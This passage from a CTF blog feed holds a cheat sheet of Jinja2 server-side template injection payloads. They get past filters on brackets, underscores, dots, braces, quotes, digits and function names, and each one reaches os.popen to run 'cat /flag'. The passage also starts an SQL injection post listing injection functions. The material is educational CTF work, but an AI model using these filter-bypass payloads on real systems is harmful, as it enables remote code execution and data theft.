 <a href="#%e7%bb%95%e8%bf%87%e8%bf%87%e6%bb%a4%e6%96%b9%e6%b3%95" class="heading-mark">
 <svg class="octicon octicon-link" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path d="m7.775 3.275 1.25-1.25a3.5 3.5 0 1 1 4.95 4.95l-2.5 2.5a3.5 3.5 0 0 1-4.95 0 .751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018 1.998 1.998 0 0 0 2.83 0l2.5-2.5a2.002 2.002 0 0 0-2.83-2.83l-1.25 1.25a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042Zm-4.69 9.64a1.998 1.998 0 0 0 2.83 0l1.25-1.25a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042l-1.25 1.25a3.5 3.5 0 1 1-4.95-4.95l2.5-2.5a3.5 3.5 0 0 1 4.95 0 .751.751 0 0 1-.018 1.042.751.751 0 0 1-1.042.018 1.998 1.998 0 0 0-2.83 0l-2.5 2.5a1.998 1.998 0 0 0 0 2.83Z"></path></svg>
 </a>
</h2><ul>
<li>
<h2 id="过滤中括号" class="heading-element"><span>过滤中括号</span>
 <a href="#%e8%bf%87%e6%bb%a4%e4%b8%ad%e6%8b%ac%e5%8f%b7" class="heading-mark">
 <svg class="octicon octicon-link" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path d="m7.775 3.275 1.25-1.25a3.5 3.5 0 1 1 4.95 4.95l-2.5 2.5a3.5 3.5 0 0 1-4.95 0 .751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018 1.998 1.998 0 0 0 2.83 0l2.5-2.5a2.002 2.002 0 0 0-2.83-2.83l-1.25 1.25a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042Zm-4.69 9.64a1.998 1.998 0 0 0 2.83 0l1.25-1.25a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042l-1.25 1.25a3.5 3.5 0 1 1-4.95-4.95l2.5-2.5a3.5 3.5 0 0 1 4.95 0 .751.751 0 0 1-.018 1.042.751.751 0 0 1-1.042.018 1.998 1.998 0 0 0-2.83 0l-2.5 2.5a1.998 1.998 0 0 0 0 2.83Z"></path></svg>
 </a>
</h2><p>魔术方法__getitem__可替代中括号</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span><span class="lnt">4
</span><span class="lnt">5
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="c1"># 当中括号被过滤时,如下将被限制访问:</span>
</span></span><span class="line"><span class="cl"><span class="p">{{</span><span class="s1">&#39;&#39;</span><span class="o">.</span><span class="vm">__class__</span><span class="o">.</span><span class="n">__base__</span><span class="o">.</span><span class="n">__subclasses__</span><span class="p">()[</span><span class="s1">&#39;xx&#39;</span><span class="p">]</span><span class="o">.</span><span class="p">[</span><span class="s1">&#39;popen&#39;</span><span class="p">](</span><span class="s1">&#39;cat /flag&#39;</span><span class="p">)}}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># 可用__getitem__替换中括号[]:</span>
</span></span><span class="line"><span class="cl"><span class="p">{{</span><span class="s1">&#39;&#39;</span><span class="o">.</span><span class="vm">__class__</span><span class="o">.</span><span class="n">__base__</span><span class="o">.</span><span class="n">__subclasses__</span><span class="p">()</span><span class="o">.</span><span class="fm">__getitem__</span><span class="p">(</span><span class="mi">13</span><span class="p">)</span><span class="o">.</span><span class="fm">__getitem__</span><span class="p">(</span><span class="s1">&#39;popen&#39;</span><span class="p">)(</span><span class="s1">&#39;cat /flag&#39;</span><span class="p">)}}</span></span></span></code></pre></td></tr></table>
</div>
</div></li>
<li>
<h2 id="过滤下划线" class="heading-element"><span>过滤下划线</span>
 <a href="#%e8%bf%87%e6%bb%a4%e4%b8%8b%e5%88%92%e7%ba%bf" class="heading-mark">
 <svg class="octicon octicon-link" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path d="m7.775 3.275 1.25-1.25a3.5 3.5 0 1 1 4.95 4.95l-2.5 2.5a3.5 3.5 0 0 1-4.95 0 .751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018 1.998 1.998 0 0 0 2.83 0l2.5-2.5a2.002 2.002 0 0 0-2.83-2.83l-1.25 1.25a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042Zm-4.69 9.64a1.998 1.998 0 0 0 2.83 0l1.25-1.25a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042l-1.25 1.25a3.5 3.5 0 1 1-4.95-4.95l2.5-2.5a3.5 3.5 0 0 1 4.95 0 .751.751 0 0 1-.018 1.042.751.751 0 0 1-1.042.018 1.998 1.998 0 0 0-2.83 0l-2.5 2.5a1.998 1.998 0 0 0 0 2.83Z"></path></svg>
 </a>
</h2><div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span><span class="lnt">4
</span><span class="lnt">5
</span><span class="lnt">6
</span><span class="lnt">7
</span><span class="lnt">8
</span><span class="lnt">9
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="c1"># 原 payload 被限制:</span>
</span></span><span class="line"><span class="cl"><span class="p">{{</span> <span class="p">()</span><span class="o">.</span><span class="vm">__class__</span><span class="o">.</span><span class="n">__base__</span><span class="o">.</span><span class="n">__subclasses__</span><span class="p">()[</span><span class="n">xx</span><span class="p">]</span><span class="o">.</span><span class="fm">__init__</span><span class="o">.</span><span class="vm">__globals__</span><span class="p">[</span><span class="s1">&#39;popen&#39;</span><span class="p">](</span><span class="s1">&#39;cat /flag&#39;</span><span class="p">)</span><span class="o">.</span><span class="n">read</span><span class="p">()</span> <span class="p">}}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># 1.使用 attr()绕过,payload:</span>
</span></span><span class="line"><span class="cl"><span class="p">{{</span> <span class="p">()</span> <span class="o">|</span> <span class="n">attr</span><span class="p">(</span><span class="n">request</span><span class="o">.</span><span class="n">args</span><span class="o">.</span><span class="n">a</span><span class="p">)</span> <span class="o">|</span> <span class="n">attr</span><span class="p">(</span><span class="n">request</span><span class="o">.</span><span class="n">args</span><span class="o">.</span><span class="n">b</span><span class="p">)</span> <span class="o">|</span> <span class="n">attr</span><span class="p">(</span><span class="n">request</span><span class="o">.</span><span class="n">args</span><span class="o">.</span><span class="n">c</span><span class="p">)</span> <span class="o">|</span> <span class="n">attr</span><span class="p">(</span><span class="n">request</span><span class="o">.</span><span class="n">args</span><span class="o">.</span><span class="n">d</span><span class="p">)</span> <span class="o">|</span> <span class="n">attr</span><span class="p">(</span><span class="n">request</span><span class="o">.</span><span class="n">args</span><span class="o">.</span><span class="n">e</span><span class="p">)()[</span><span class="s1">&#39;popen&#39;</span><span class="p">](</span><span class="s1">&#39;cat /flag&#39;</span><span class="p">)</span> <span class="o">|</span> <span class="n">attr</span><span class="p">(</span><span class="s1">&#39;read&#39;</span><span class="p">)()</span> <span class="p">}}</span>
</span></span><span class="line"><span class="cl"><span class="n">同时</span> <span class="n">get</span> <span class="n">方法传参</span><span class="err">?</span><span class="n">a</span><span class="o">=</span><span class="vm">__class__</span><span class="o">&amp;</span><span class="n">b</span><span class="o">=</span><span class="n">__base__</span><span class="o">&amp;</span><span class="n">c</span><span class="o">=</span><span class="n">__subclasses__</span><span class="o">&amp;</span><span class="n">d</span><span class="o">=</span><span class="fm">__init__</span><span class="o">&amp;</span><span class="n">e</span><span class="o">=</span><span class="vm">__globals__</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># 2.将下划线进行编码绕过,payload:</span>
</span></span><span class="line"><span class="cl"><span class="p">{{</span> <span class="p">()</span><span class="o">.</span><span class="p">[</span><span class="s1">&#39;</span><span class="se">\x5f\x5f</span><span class="s1">class</span><span class="se">\x5f\x5f</span><span class="s1">&#39;</span><span class="p">][</span><span class="s1">&#39;</span><span class="se">\x5f\x5f</span><span class="s1">base</span><span class="se">\x5f\x5f</span><span class="s1">&#39;</span><span class="p">][</span><span class="s1">&#39;</span><span class="se">\x5f\x5f</span><span class="s1">subclasses</span><span class="se">\x5f\x5f</span><span class="s1">&#39;</span><span class="p">]()[</span><span class="n">xx</span><span class="p">][</span><span class="s1">&#39;</span><span class="se">\x5f\x5f</span><span class="s1">init</span><span class="se">\x5f\x5f</span><span class="s1">&#39;</span><span class="p">]</span><span class="o">.</span><span class="p">[</span><span class="s1">&#39;</span><span class="se">\x5f\x5f</span><span class="s1">globals</span><span class="se">\x5f\x5f</span><span class="s1">&#39;</span><span class="p">][</span><span class="s1">&#39;popen&#39;</span><span class="p">](</span><span class="s1">&#39;cat /flag&#39;</span><span class="p">)</span> <span class="p">}}</span></span></span></code></pre></td></tr></table>
</div>
</div></li>
<li>
<h2 id="过滤点" class="heading-element"><span>过滤点</span>
 <a href="#%e8%bf%87%e6%bb%a4%e7%82%b9" class="heading-mark">
 <svg class="octicon octicon-link" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path d="m7.775 3.275 1.25-1.25a3.5 3.5 0 1 1 4.95 4.95l-2.5 2.5a3.5 3.5 0 0 1-4.95 0 .751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018 1.998 1.998 0 0 0 2.83 0l2.5-2.5a2.002 2.002 0 0 0-2.83-2.83l-1.25 1.25a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042Zm-4.69 9.64a1.998 1.998 0 0 0 2.83 0l1.25-1.25a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042l-1.25 1.25a3.5 3.5 0 1 1-4.95-4.95l2.5-2.5a3.5 3.5 0 0 1 4.95 0 .751.751 0 0 1-.018 1.042.751.751 0 0 1-1.042.018 1.998 1.998 0 0 0-2.83 0l-2.5 2.5a1.998 1.998 0 0 0 0 2.83Z"></path></svg>
 </a>
</h2><div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span><span class="lnt">4
</span><span class="lnt">5
</span><span class="lnt">6
</span><span class="lnt">7
</span><span class="lnt">8
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="c1"># 原 payload 被限制:</span>
</span></span><span class="line"><span class="cl"><span class="p">{{</span> <span class="p">()</span><span class="o">.</span><span class="vm">__class__</span><span class="o">.</span><span class="n">__base__</span><span class="o">.</span><span class="n">subclasses__</span><span class="p">()[</span><span class="n">xx</span><span class="p">]</span><span class="o">.</span><span class="fm">__init__</span><span class="o">.</span><span class="vm">__globals__</span><span class="p">[</span><span class="s1">&#39;popen&#39;</span><span class="p">](</span><span class="s1">&#39;cat /flag&#39;</span><span class="p">)</span><span class="o">.</span><span class="n">read</span><span class="p">()</span> <span class="p">}}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># 1.使用 attr()绕过,payload:</span>
</span></span><span class="line"><span class="cl"><span class="p">{{</span> <span class="p">()</span> <span class="o">|</span> <span class="n">attr</span><span class="p">(</span><span class="s1">&#39;__class__&#39;</span><span class="p">)</span> <span class="o">|</span> <span class="n">attr</span><span class="p">(</span><span class="s1">&#39;__base__&#39;</span><span class="p">)</span> <span class="o">|</span> <span class="n">attr</span><span class="p">(</span><span class="s1">&#39;__subclasses__&#39;</span><span class="p">)()</span> <span class="o">|</span> <span class="n">attr</span><span class="p">(</span><span class="s1">&#39;__getitem__&#39;</span><span class="p">)(</span><span class="n">xx</span><span class="p">)</span> <span class="o">|</span> <span class="n">attr</span><span class="p">(</span><span class="s1">&#39;__init__&#39;</span><span class="p">)</span> <span class="o">|</span> <span class="n">attr</span><span class="p">(</span><span class="s1">&#39;__globals__&#39;</span><span class="p">)</span> <span class="o">|</span> <span class="n">attr</span><span class="p">(</span><span class="s1">&#39;__getitem__&#39;</span><span class="p">)(</span><span class="s1">&#39;popen&#39;</span><span class="p">)(</span><span class="s1">&#39;cat /flag&#39;</span><span class="p">)</span> <span class="o">|</span> <span class="n">attr</span><span class="p">(</span><span class="s1">&#39;read&#39;</span><span class="p">)()}}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># 2. 使用中括号绕过,payload:</span>
</span></span><span class="line"><span class="cl"><span class="p">{{</span> <span class="p">()[</span><span class="s1">&#39;__class__&#39;</span><span class="p">][</span><span class="s1">&#39;__base__&#39;</span><span class="p">][</span><span class="s1">&#39;__subclasses__&#39;</span><span class="p">]()[</span><span class="n">xx</span><span class="p">][</span><span class="s1">&#39;__init__&#39;</span><span class="p">][</span><span class="s1">&#39;__globals__&#39;</span><span class="p">][</span><span class="s1">&#39;popen&#39;</span><span class="p">](</span><span class="s1">&#39;cat /flag&#39;</span><span class="p">)[</span><span class="s1">&#39;read&#39;</span><span class="p">]()}}</span></span></span></code></pre></td></tr></table>
</div>
</div></li>
<li>
<h2 id="过滤大括号" class="heading-element"><span>过滤大括号</span>
 <a href="#%e8%bf%87%e6%bb%a4%e5%a4%a7%e6%8b%ac%e5%8f%b7" class="heading-mark">
 <svg class="octicon octicon-link" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path d="m7.775 3.275 1.25-1.25a3.5 3.5 0 1 1 4.95 4.95l-2.5 2.5a3.5 3.5 0 0 1-4.95 0 .751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018 1.998 1.998 0 0 0 2.83 0l2.5-2.5a2.002 2.002 0 0 0-2.83-2.83l-1.25 1.25a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042Zm-4.69 9.64a1.998 1.998 0 0 0 2.83 0l1.25-1.25a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042l-1.25 1.25a3.5 3.5 0 1 1-4.95-4.95l2.5-2.5a3.5 3.5 0 0 1 4.95 0 .751.751 0 0 1-.018 1.042.751.751 0 0 1-1.042.018 1.998 1.998 0 0 0-2.83 0l-2.5 2.5a1.998 1.998 0 0 0 0 2.83Z"></path></svg>
 </a>
</h2><p>使用{%%}替代{{}},payload:</p>
<p>{% print(&rsquo;&rsquo;.<strong>class</strong>.<strong>base</strong>.<strong>subclasses</strong>()[xx].<strong>init</strong>.<strong>globals</strong>[&lsquo;popen&rsquo;](&lsquo;cat /flag&rsquo;).read()) %}</p>
</li>
<li>
<h2 id="过滤引号" class="heading-element"><span>过滤引号</span>
 <a href="#%e8%bf%87%e6%bb%a4%e5%bc%95%e5%8f%b7" class="heading-mark">
 <svg class="octicon octicon-link" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path d="m7.775 3.275 1.25-1.25a3.5 3.5 0 1 1 4.95 4.95l-2.5 2.5a3.5 3.5 0 0 1-4.95 0 .751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018 1.998 1.998 0 0 0 2.83 0l2.5-2.5a2.002 2.002 0 0 0-2.83-2.83l-1.25 1.25a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042Zm-4.69 9.64a1.998 1.998 0 0 0 2.83 0l1.25-1.25a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042l-1.25 1.25a3.5 3.5 0 1 1-4.95-4.95l2.5-2.5a3.5 3.5 0 0 1 4.95 0 .751.751 0 0 1-.018 1.042.751.751 0 0 1-1.042.018 1.998 1.998 0 0 0-2.83 0l-2.5 2.5a1.998 1.998 0 0 0 0 2.83Z"></path></svg>
 </a>
</h2><div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt"> 1
</span><span class="lnt"> 2
</span><span class="lnt"> 3
</span><span class="lnt"> 4
</span><span class="lnt"> 5
</span><span class="lnt"> 6
</span><span class="lnt"> 7
</span><span class="lnt"> 8
</span><span class="lnt"> 9
</span><span class="lnt">10
</span><span class="lnt">11
</span><span class="lnt">12
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="c1"># 当&#39;被过滤后以下访问将被限制</span>
</span></span><span class="line"><span class="cl"><span class="p">{{</span> <span class="p">()</span><span class="o">.</span><span class="vm">__class__</span><span class="o">.</span><span class="n">__base__</span><span class="o">.</span><span class="n">subclasses__</span><span class="p">()[</span><span class="n">xx</span><span class="p">]</span><span class="o">.</span><span class="fm">__init__</span><span class="o">.</span><span class="vm">__globals__</span><span class="p">[</span><span class="s1">&#39;popen&#39;</span><span class="p">](</span><span class="s1">&#39;cat /flag&#39;</span><span class="p">)</span><span class="o">.</span><span class="n">read</span><span class="p">()</span> <span class="p">}}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># 1.通过request.args的get传参输入引号内的内容,payload:</span>
</span></span><span class="line"><span class="cl"><span class="p">{{</span> <span class="p">()</span><span class="o">.</span><span class="vm">__class__</span><span class="o">.</span><span class="n">__base__</span><span class="o">.</span><span class="n">__subclasses__</span><span class="p">()[</span><span class="n">xx</span><span class="p">]</span><span class="o">.</span><span class="fm">__init__</span><span class="o">.</span><span class="vm">__globals__</span><span class="p">[</span><span class="n">request</span><span class="o">.</span><span class="n">args</span><span class="o">.</span><span class="n">popen</span><span class="p">](</span><span class="n">request</span><span class="o">.</span><span class="n">args</span><span class="o">.</span><span class="n">cmd</span><span class="p">)</span><span class="o">.</span><span class="n">read</span><span class="p">()</span> <span class="p">}}</span>
</span></span><span class="line"><span class="cl"><span class="n">同时get传参</span><span class="err">?</span><span class="n">popen</span><span class="o">=</span><span class="n">popen</span><span class="o">&amp;</span><span class="n">cmd</span><span class="o">=</span><span class="n">cat</span> <span class="o">/</span><span class="n">flag</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># 2.通过request.form的post传参输入引号内的内容,payload:</span>
</span></span><span class="line"><span class="cl"><span class="p">{{</span> <span class="p">()</span><span class="o">.</span><span class="vm">__class__</span><span class="o">.</span><span class="n">__base__</span><span class="o">.</span><span class="n">__subclasses__</span><span class="p">()[</span><span class="mi">117</span><span class="p">]</span><span class="o">.</span><span class="fm">__init__</span><span class="o">.</span><span class="vm">__globals__</span><span class="p">[</span><span class="n">request</span><span class="o">.</span><span class="n">form</span><span class="o">.</span><span class="n">popen</span><span class="p">](</span><span class="n">request</span><span class="o">.</span><span class="n">form</span><span class="o">.</span><span class="n">cmd</span><span class="p">)</span><span class="o">.</span><span class="n">read</span><span class="p">()</span> <span class="p">}}</span>
</span></span><span class="line"><span class="cl"><span class="n">同时post传参</span><span class="err">?</span><span class="n">popen</span><span class="o">=</span><span class="n">popen</span><span class="o">&amp;</span><span class="n">cmd</span><span class="o">=</span><span class="n">cat</span> <span class="o">/</span><span class="n">flag</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># 3.使用cookies传参,如request.cookies.k1、request.cookies.k2、k1=popen;k2=cat /flag</span></span></span></code></pre></td></tr></table>
</div>
</div></li>
<li>
<h2 id="过滤数字" class="heading-element"><span>过滤数字</span>
 <a href="#%e8%bf%87%e6%bb%a4%e6%95%b0%e5%ad%97" class="heading-mark">
 <svg class="octicon octicon-link" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path d="m7.775 3.275 1.25-1.25a3.5 3.5 0 1 1 4.95 4.95l-2.5 2.5a3.5 3.5 0 0 1-4.95 0 .751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018 1.998 1.998 0 0 0 2.83 0l2.5-2.5a2.002 2.002 0 0 0-2.83-2.83l-1.25 1.25a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042Zm-4.69 9.64a1.998 1.998 0 0 0 2.83 0l1.25-1.25a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042l-1.25 1.25a3.5 3.5 0 1 1-4.95-4.95l2.5-2.5a3.5 3.5 0 0 1 4.95 0 .751.751 0 0 1-.018 1.042.751.751 0 0 1-1.042.018 1.998 1.998 0 0 0-2.83 0l-2.5 2.5a1.998 1.998 0 0 0 0 2.83Z"></path></svg>
 </a>
</h2><p>使用过滤器 length 绕过
{% set a=&lsquo;aaa&rsquo; | lenth %}{{ ().<strong>class</strong>.<strong>base</strong>.<strong>subclasses</strong>()[a]}}</p>
</li>
<li>
<h2 id="过滤函数名" class="heading-element"><span>过滤函数名</span>
 <a href="#%e8%bf%87%e6%bb%a4%e5%87%bd%e6%95%b0%e5%90%8d" class="heading-mark">
 <svg class="octicon octicon-link" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path d="m7.775 3.275 1.25-1.25a3.5 3.5 0 1 1 4.95 4.95l-2.5 2.5a3.5 3.5 0 0 1-4.95 0 .751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018 1.998 1.998 0 0 0 2.83 0l2.5-2.5a2.002 2.002 0 0 0-2.83-2.83l-1.25 1.25a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042Zm-4.69 9.64a1.998 1.998 0 0 0 2.83 0l1.25-1.25a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042l-1.25 1.25a3.5 3.5 0 1 1-4.95-4.95l2.5-2.5a3.5 3.5 0 0 1 4.95 0 .751.751 0 0 1-.018 1.042.751.751 0 0 1-1.042.018 1.998 1.998 0 0 0-2.83 0l-2.5 2.5a1.998 1.998 0 0 0 0 2.83Z"></path></svg>
 </a>
</h2><div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span><span class="lnt">4
</span><span class="lnt">5
</span><span class="lnt">6
</span><span class="lnt">7
</span><span class="lnt">8
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="c1"># 1.使用拼接绕过,payload:</span>
</span></span><span class="line"><span class="cl"><span class="p">{{</span> <span class="p">()</span><span class="o">.</span><span class="vm">__class__</span><span class="o">.</span><span class="n">__base__</span><span class="o">.</span><span class="n">__subclasses__</span><span class="p">()[</span><span class="n">xx</span><span class="p">]</span><span class="o">.</span><span class="fm">__init__</span><span class="o">.</span><span class="vm">__globals__</span><span class="p">[</span><span class="s1">&#39;pop&#39;</span><span class="o">+</span><span class="s1">&#39;en&#39;</span><span class="p">](</span><span class="s1">&#39;cat /fl&#39;</span> <span class="o">+</span> <span class="s1">&#39;ag&#39;</span><span class="p">)</span><span class="o">.</span><span class="n">read</span><span class="p">()</span> <span class="p">}}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># 2.使用16进制编码绕过,payload:</span>
</span></span><span class="line"><span class="cl"><span class="p">{{</span> <span class="p">()</span><span class="o">.</span><span class="vm">__class__</span><span class="o">.</span><span class="n">__base__</span><span class="o">.</span><span class="n">__subclasses__</span><span class="p">()[</span><span class="n">xx</span><span class="p">]</span><span class="o">.</span><span class="fm">__init__</span><span class="o">.</span><span class="vm">__globals__</span><span class="p">[</span><span class="s1">&#39;</span><span class="se">\x70\x6f\x70\x65\x6e</span><span class="s1">&#39;</span><span class="p">](</span><span class="s1">&#39;cat /flag&#39;</span><span class="p">)</span><span class="o">.</span><span class="n">read</span><span class="p">()</span> <span class="p">}}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># 3.使用base64编码绕过,payload:</span>
</span></span><span class="line"><span class="cl"><span class="p">{{</span> <span class="p">()</span><span class="o">.</span><span class="vm">__class__</span><span class="o">.</span><span class="n">__base__</span><span class="o">.</span><span class="n">__subclasses__</span><span class="p">()[</span><span class="n">xx</span><span class="p">]</span><span class="o">.</span><span class="fm">__init__</span><span class="o">.</span><span class="vm">__globals__</span><span class="p">[</span><span class="n">base64</span><span class="o">.</span><span class="n">b64decode</span><span class="p">(</span><span class="s1">&#39;cG9wZW4=&#39;</span><span class="p">)</span><span class="o">.</span><span class="n">decode</span><span class="p">()](</span><span class="s1">&#39;cat /fl&#39;</span> <span class="o">+</span> <span class="s1">&#39;ag&#39;</span><span class="p">)</span><span class="o">.</span><span class="n">read</span><span class="p">()</span> <span class="p">}}</span></span></span></code></pre></td></tr></table>
</div>
</div></li>
</ul>
</description>
</item>
<item>
<title>SQL注入篇</title>
<link>https://hinoatari.github.io/posts/sql%E6%B3%A8%E5%85%A5%E7%AF%87/</link>
<pubDate>Sat, 19 Apr 2025 17:30:00 +0800</pubDate>
<guid>https://hinoatari.github.io/posts/sql%E6%B3%A8%E5%85%A5%E7%AF%87/</guid>
<category domain="https://hinoatari.github.io/categories/ctf/">CTF</category>
<description><h2 id="sql-注入常用函数" class="heading-element"><span>SQL 注入常用函数</span>
 <a href="#sql-%e6%b3%a8%e5%85%a5%e5%b8%b8%e7%94%a8%e5%87%bd%e6%95%b0" class="heading-mark">
 <svg class="octicon octicon-link" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path d="m7.775 3.275 1.25-1.25a3.5 3.5 0 1 1 4.95 4.95l-2.5 2.5a3.5 3.5 0 0 1-4.95 0 .751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018 1.998 1.998 0 0 0 2.83 0l2.5-2.5a2.002 2.002 0 0 0-2.83-2.83l-1.25 1.25a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042Zm-4.69 9.64a1.998 1.998 0 0 0 2.83 0l1.25-1.25a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042l-1.25 1.25a3.5 3.5 0 1 1-4.95-4.95l2.5-2.5a3.5 3.5 0 0 1 4.95 0 .751.751 0 0 1-.018 1.042.751.751 0 0 1-1.042.018 1.998 1.998 0 0 0-2.83 0l-2.5 2.5a1.998 1.998 0 0 0 0 2.83Z"></path></svg>
 </a>
</h2><ol>
<li>联合注入函数:
<ul>
<li>concat()</li>
<li>concat_ws()</li>
<li>group_concat()</li>
</ul>
</li>
<li>布尔盲注函数:
<ul>
<li>length()</li>
<li>left()</li>
<li>right()</li>
<li>substr()</li>
<li>mid()</li>
<li>ascii()</li>
<li>ord()</li>
</ul>
</li>
<li>时间盲注函数:
<ul>
<li>sleep()</li>
<li>if()</li>
</ul>
</li>
<li>报错注入函数:
<ul>
<li>floor()</li>
<li>exp()</li>
<li>updatexml()</li>
<li>extractvalue()</li>
</ul>
</li>
</ol>
<h2 id="一注入类型" class="heading-element"><span>(一)注入类型</span>
 <a href="#%e4%b8%80%e6%b3%a8%e5%85%a5%e7%b1%bb%e5%9e%8b" class="heading-mark">
 <svg class="octicon octicon-link" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path d="m7.775 3.275 1.25-1.25a3.5 3.5 0 1 1 4.95 4.95l-2.5 2.5a3.5 3.5 0 0 1-4.95 0 .751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018 1.998 1.998 0 0 0 2.83 0l2.5-2.5a2.002 2.002 0 0 0-2.83-2.83l-1.25 1.25a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042Zm-4.69 9.64a1.998 1.998 0 0 0 2.83 0l1.25-1.25a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042l-1.25 1.25a3.5 3.5 0 1 1-4.95-4.95l2.5-2.5a3.5 3.5 0 0 1 4.95 0 .751.751 0 0 1-.018 1.042.751.751 0 0 1-1.042.018 1.998 1.998 0 0 0-2.83 0l-2.5 2.5a1.998 1.998 0 0 0 0 2.83Z"></path></svg>
 </a>
</h2><p>SQL 注入通常分为两种类型:数字型和字符型</p>
<h2 id="1注入类型为数字型时sql-查询语句通常为" class="heading-element"><span>(1)注入类型为数字型时,SQL 查询语句通常为:</span>
 <a href="#1%e6%b3%a8%e5%85%a5%e7%b1%bb%e5%9e%8b%e4%b8%ba%e6%95%b0%e5%ad%97%e5%9e%8b%e6%97%b6sql-%e6%9f%a5%e8%af%a2%e8%af%ad%e5%8f%a5%e9%80%9a%e5%b8%b8%e4%b8%ba" class="heading-mark">
 <svg class="octicon octicon-link" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path d="m7.775 3.275 1.25-1.25a3.5 3.5 0 1 1 4.95 4.95l-2.5 2.5a3.5 3.5 0 0 1-4.95 0 .751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018 1.998 1.998 0 0 0 2.83 0l2.5-2.5a2.002 2.002 0 0 0-2.83-2.83l-1.25 1.25a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042Zm-4.69 9.64a1.998 1.998 0 0 0 2.83 0l1.25-1.25a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042l-1.25 1.25a3.5 3.5 0 1 1-4.95-4.95l2.5-2.5a3.5 3.5 0 0 1 4.95 0 .751.751 0 0 1-.018 1.042.751.751 0 0 1-1.042.018 1.998 1.998 0 0 0-2.83 0l-2.5 2.5a1.998 1.998 0 0 0 0 2.83Z"></path></svg>
 </a>
</h2><p><code> select * from users where id = x</code></p>
<p>判断方法:</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span></code></pre></td>
